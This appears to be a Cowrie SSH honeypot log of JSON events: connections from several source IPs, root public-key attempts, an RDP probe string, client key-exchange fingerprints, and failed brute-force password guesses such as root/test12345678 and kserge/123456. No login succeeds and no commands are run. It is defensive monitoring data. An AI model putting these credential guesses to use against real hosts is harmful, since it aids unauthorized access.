{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:9a:31:ab:a1:c7:d9:ba:55:89:7b:41:64:9d:d6:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqm9ZvnndFpTXl6nkwVONPy6XPiYnR9zoKVPNzHJnM2JWo/alPvFcmpS6H4/sc3K4jqoyNepbp7C/jxueZOI2lTKwUGSeZzIORF36roPb61KilPPE4DEX0rG0GhrfpAeq1kH4q5XIoYwjc86v59moUMWVsl+zI0n8sjMXbZW5oBcph8xpcWp6PW+rixp1Nw+TdqUqz5CkBFcWgK3qepBKKlq8djaxVS8K3Jr+wlG/3ECJrWdpa4XPmeKDUBtykIyz1t36EdIWDYjV/IXhCRpcpdNZVxuCW/QvRRFRkDNlosexwsx7J5j7VkIkh7eH0bd0lbqqFmu4YtRRwirdHEsUR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:9a:31:ab:a1:c7:d9:ba:55:89:7b:41:64:9d:d6:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.844904Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:9a:31:ab:a1:c7:d9:ba:55:89:7b:41:64:9d:d6:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqm9ZvnndFpTXl6nkwVONPy6XPiYnR9zoKVPNzHJnM2JWo/alPvFcmpS6H4/sc3K4jqoyNepbp7C/jxueZOI2lTKwUGSeZzIORF36roPb61KilPPE4DEX0rG0GhrfpAeq1kH4q5XIoYwjc86v59moUMWVsl+zI0n8sjMXbZW5oBcph8xpcWp6PW+rixp1Nw+TdqUqz5CkBFcWgK3qepBKKlq8djaxVS8K3Jr+wlG/3ECJrWdpa4XPmeKDUBtykIyz1t36EdIWDYjV/IXhCRpcpdNZVxuCW/QvRRFRkDNlosexwsx7J5j7VkIkh7eH0bd0lbqqFmu4YtRRwirdHEsUR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.848501Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:f3:e4:57:d5:bf:70:d9:7b:2b:7f:1b:e6:b5:7e:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wC6uhA0J/MWJT13bT6FxdsjThHoTLggaV3ULMzkGsjUE6dYfez0gyewmeQ5d3DZ+uwpL+UOZguKY5tEUOoEIWRJApW4/GQbQbbAyKeWRe8qs1RAYQFjWNFxC9a2H5hIs1l4g7NrDy3oe0WXEwuIzzNMXIlwinPawqhbEdFjjqjTzdTdKgCzIJF3beCJ0gbb4+X3Qb92K3pcR5kXYTs0DRe87bpntD1xD49xoEz+voc/tG/d0CkpJMtsBdx6mHq2g+w0yFJCWOz4O+1/fV4I+VQeMCRZ1ZRBrL7LHeutHkvd2b4wh3eZ5TbaIQNWqJKUsIX7gPz/0kNcvMnIkAlkt+4I0N4t0QEx0UX0aAV18Y/wrLbVQBT8PG28Z6VhgRN1Srbhm1ejC4uCFz8kXJAGClle9Ve0yyd1j6ulYMnS0X+dUgAnrCTFzUGGqxp06qIJSEvBmtSH9BvTawKr2fy6GitIteWxOWkWsAu/I3fnSXT7bmsiEa4Z/5H5oRWVYwaK/GRoIrslVrVk7PSPrE3l0l/byu67B3pa4bNOOYmSbJygXhXvLbJv8pQv6hMaB3DeDdqcrlv1VR2WYra0xPNWw2HJ8l2qudmjlN9U38A7Gs48XlB6olBj0FZu0hgDWFnI2rHcmD1hnsB5/bm8qOA9aRu52utTrgDrQK+WjQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:f3:e4:57:d5:bf:70:d9:7b:2b:7f:1b:e6:b5:7e:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.876507Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:f3:e4:57:d5:bf:70:d9:7b:2b:7f:1b:e6:b5:7e:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wC6uhA0J/MWJT13bT6FxdsjThHoTLggaV3ULMzkGsjUE6dYfez0gyewmeQ5d3DZ+uwpL+UOZguKY5tEUOoEIWRJApW4/GQbQbbAyKeWRe8qs1RAYQFjWNFxC9a2H5hIs1l4g7NrDy3oe0WXEwuIzzNMXIlwinPawqhbEdFjjqjTzdTdKgCzIJF3beCJ0gbb4+X3Qb92K3pcR5kXYTs0DRe87bpntD1xD49xoEz+voc/tG/d0CkpJMtsBdx6mHq2g+w0yFJCWOz4O+1/fV4I+VQeMCRZ1ZRBrL7LHeutHkvd2b4wh3eZ5TbaIQNWqJKUsIX7gPz/0kNcvMnIkAlkt+4I0N4t0QEx0UX0aAV18Y/wrLbVQBT8PG28Z6VhgRN1Srbhm1ejC4uCFz8kXJAGClle9Ve0yyd1j6ulYMnS0X+dUgAnrCTFzUGGqxp06qIJSEvBmtSH9BvTawKr2fy6GitIteWxOWkWsAu/I3fnSXT7bmsiEa4Z/5H5oRWVYwaK/GRoIrslVrVk7PSPrE3l0l/byu67B3pa4bNOOYmSbJygXhXvLbJv8pQv6hMaB3DeDdqcrlv1VR2WYra0xPNWw2HJ8l2qudmjlN9U38A7Gs48XlB6olBj0FZu0hgDWFnI2rHcmD1hnsB5/bm8qOA9aRu52utTrgDrQK+WjQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.879707Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f1:6d:76:b5:3e:a1:66:d2:36:d8:f4:9d:25:f1:92:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1EKcZKfOnAe5BkZgbcBdmggT/YXyO1IueeGiryoJTPxqSMWgSrMypo3oec6CEuXZOumlJHUv1IFDgDXw+LbidtYXdj6ugXFpb3eAwafqihJ1XC94VgmJOalu4XN6rP9Fhjv3yoNX6wUhOjg5iD1O+DPZXMRwKlARM2BHQj48mylMOn6YXIR2aNfT0p90iAcEw0MocETZUJfMaPXQtad0hyQGd2Xdhrrg6OWdHHXySVu0cgtFz+nR6ewa6RTQui/zjaxBg/YwYX1oAubAgWGAoPkiTtNpIKq7y8bG9xQ94qp3QK4v1upLxHlwpSCBnnQGdyco4vxUFWFeZf31u9/cf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f1:6d:76:b5:3e:a1:66:d2:36:d8:f4:9d:25:f1:92:e5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.907250Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f1:6d:76:b5:3e:a1:66:d2:36:d8:f4:9d:25:f1:92:e5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1EKcZKfOnAe5BkZgbcBdmggT/YXyO1IueeGiryoJTPxqSMWgSrMypo3oec6CEuXZOumlJHUv1IFDgDXw+LbidtYXdj6ugXFpb3eAwafqihJ1XC94VgmJOalu4XN6rP9Fhjv3yoNX6wUhOjg5iD1O+DPZXMRwKlARM2BHQj48mylMOn6YXIR2aNfT0p90iAcEw0MocETZUJfMaPXQtad0hyQGd2Xdhrrg6OWdHHXySVu0cgtFz+nR6ewa6RTQui/zjaxBg/YwYX1oAubAgWGAoPkiTtNpIKq7y8bG9xQ94qp3QK4v1upLxHlwpSCBnnQGdyco4vxUFWFeZf31u9/cf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.910863Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:66:29:03:81:d1:e5:6b:60:3c:a6:be:c3:27:1e:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFI1moJ6gqAHaN3SS9d+/M6T1WBP7F5XqGjNZks9kDIVFTv7YzGxwFCZ4ZHKSptGyn8K6vBYQ/5/fUpCureayBJx5uLqpoZr07+DpIoLPEcLFzGOZRTACJTU1rtfmWqUgcZqlX419263fAZbfNGGhEySMhE/UG6HwKOHFyJYoe8EIgcJaWqna/7nRxh7xoC4BXFnLA9u2/FJqxJNnrkJG4MbMtXSfvsDVrW9dGmuZ9bhTEhealIpwuN4EKKWn5nz9LnYduh+4kwKK5XLJ/H0IhgLafy+4Hsvh/uLQp1FmdWGj2hji97Z0hdLpYYXuTnfuC7QC0VzmdnD9K+YCCDbpX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:66:29:03:81:d1:e5:6b:60:3c:a6:be:c3:27:1e:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.940831Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:66:29:03:81:d1:e5:6b:60:3c:a6:be:c3:27:1e:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFI1moJ6gqAHaN3SS9d+/M6T1WBP7F5XqGjNZks9kDIVFTv7YzGxwFCZ4ZHKSptGyn8K6vBYQ/5/fUpCureayBJx5uLqpoZr07+DpIoLPEcLFzGOZRTACJTU1rtfmWqUgcZqlX419263fAZbfNGGhEySMhE/UG6HwKOHFyJYoe8EIgcJaWqna/7nRxh7xoC4BXFnLA9u2/FJqxJNnrkJG4MbMtXSfvsDVrW9dGmuZ9bhTEhealIpwuN4EKKWn5nz9LnYduh+4kwKK5XLJ/H0IhgLafy+4Hsvh/uLQp1FmdWGj2hji97Z0hdLpYYXuTnfuC7QC0VzmdnD9K+YCCDbpX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.945402Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:96:8b:0d:73:35:81:71:33:64:eb:f4:bf:23:0c:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo6GsRec1caILRknepghO+NiPRzFtBZsu6P+KIEbHsVFYUQna3Q2lMu6Mf3WdNi8oC027ZUR9uiPU85hymU9YMRI83k+zJ8P4S2HExOmU9izz7HpGS11mzy6/kcg2SmWMpT6BbcamIUuxCLUyyvZSKppg01MnGGwtp9TFsrnYhKCThZNWerGrM/CkERV296zg2cXknxMutr5svPrihQB6J1Qm1wl6wB8vtTDojwebsEbGblN0HAPw6PiuHo/nN9dzlDMgy4PxG4Vz+MNvFEfw+kXTDTPfRNkTXZb2TjhJJ/8neR88P3zgDF0rPT3Wr6cq4sg1yVA0hKtkGVMF5F5sjrV+ZyOolRwQcMafbg9pPUk3ot9K6VL4Zc4+ioOdw3d6XG0a6HnZtGFliOxuWmDLEbQ1nykZ0bK4FDS9reoXplViTzB3h5fkKjxVgLOQQIFODt/hThF3gwRYJFBrbEOezSqrLGQhLT8INWCFpwwU0Euj/Y4DULH+lYxz10SEdrSiGb/Fat+UwFcVyZikqZiI3sYSAwHqfyDOZvS67f2+wtMi0aLN8WDQTG4tPJoYpOqc6hBC/Asd+9GrLOOLYa7F+vvALmwNJ7p2PQ5+e+r0L1pJN4PGHlv7ZS2VAlTDoc57OYuXvZj9A4iVZmjZXj6/uLOQ7faL0xpizSP7NZKcanQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:96:8b:0d:73:35:81:71:33:64:eb:f4:bf:23:0c:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.974194Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:96:8b:0d:73:35:81:71:33:64:eb:f4:bf:23:0c:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCo6GsRec1caILRknepghO+NiPRzFtBZsu6P+KIEbHsVFYUQna3Q2lMu6Mf3WdNi8oC027ZUR9uiPU85hymU9YMRI83k+zJ8P4S2HExOmU9izz7HpGS11mzy6/kcg2SmWMpT6BbcamIUuxCLUyyvZSKppg01MnGGwtp9TFsrnYhKCThZNWerGrM/CkERV296zg2cXknxMutr5svPrihQB6J1Qm1wl6wB8vtTDojwebsEbGblN0HAPw6PiuHo/nN9dzlDMgy4PxG4Vz+MNvFEfw+kXTDTPfRNkTXZb2TjhJJ/8neR88P3zgDF0rPT3Wr6cq4sg1yVA0hKtkGVMF5F5sjrV+ZyOolRwQcMafbg9pPUk3ot9K6VL4Zc4+ioOdw3d6XG0a6HnZtGFliOxuWmDLEbQ1nykZ0bK4FDS9reoXplViTzB3h5fkKjxVgLOQQIFODt/hThF3gwRYJFBrbEOezSqrLGQhLT8INWCFpwwU0Euj/Y4DULH+lYxz10SEdrSiGb/Fat+UwFcVyZikqZiI3sYSAwHqfyDOZvS67f2+wtMi0aLN8WDQTG4tPJoYpOqc6hBC/Asd+9GrLOOLYa7F+vvALmwNJ7p2PQ5+e+r0L1pJN4PGHlv7ZS2VAlTDoc57OYuXvZj9A4iVZmjZXj6/uLOQ7faL0xpizSP7NZKcanQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:36.978496Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:37.006267Z","src_ip":"179.61.232.245","session":"36f7aff17d5e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":57505,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f4ed9ec7faa","protocol":"ssh","message":"New connection: 167.172.81.52:57505 (10.17.0.5:22) [session: 2f4ed9ec7faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:37.051199Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:37.055992Z","src_ip":"167.172.81.52","session":"2f4ed9ec7faa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:37.059443Z","src_ip":"167.172.81.52","session":"2f4ed9ec7faa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":37514,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e1583a40c4b","protocol":"ssh","message":"New connection: 124.156.196.131:37514 (159.203.135.109:22) [session: 1e1583a40c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:40.414095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:40.418594Z","src_ip":"124.156.196.131","session":"1e1583a40c4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:40.656572Z","src_ip":"124.156.196.131","session":"1e1583a40c4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test12345678","message":"login attempt [root/test12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:41.637542Z","src_ip":"124.156.196.131","session":"1e1583a40c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:42.878361Z","src_ip":"124.156.196.131","session":"1e1583a40c4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:37:44.559889Z","src_ip":"103.203.57.2","session":"77308309091e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":44322,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ecacafabda4","protocol":"ssh","message":"New connection: 103.77.242.62:44322 (10.17.0.5:22) [session: 2ecacafabda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.286178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.290453Z","src_ip":"103.77.242.62","session":"2ecacafabda4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.533441Z","src_ip":"103.77.242.62","session":"2ecacafabda4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":60094,"dst_ip":"159.203.135.109","dst_port":22,"session":"73b23dc47f9e","protocol":"ssh","message":"New connection: 43.163.95.54:60094 (159.203.135.109:22) [session: 73b23dc47f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.612998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.617562Z","src_ip":"43.163.95.54","session":"73b23dc47f9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":54460,"dst_ip":"10.17.0.5","dst_port":22,"session":"6be04ffa9073","protocol":"ssh","message":"New connection: 80.94.92.184:54460 (10.17.0.5:22) [session: 6be04ffa9073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.670433Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.862770Z","src_ip":"43.163.95.54","session":"73b23dc47f9e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.976366Z","src_ip":"80.94.92.184","session":"6be04ffa9073","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:11.980283Z","src_ip":"80.94.92.184","session":"6be04ffa9073","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1231231","message":"login attempt [root/1231231] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:12.262497Z","src_ip":"103.77.242.62","session":"2ecacafabda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kserge","password":"123456","message":"login attempt [kserge/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:12.877602Z","src_ip":"43.163.95.54","session":"73b23dc47f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:13.508842Z","src_ip":"103.77.242.62","session":"2ecacafabda4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"Sol","message":"login attempt [sol/Sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:38:13.564349Z","src_ip":"80.94.92.184","session":"6be04ffa9073","protocol":"ssh"}
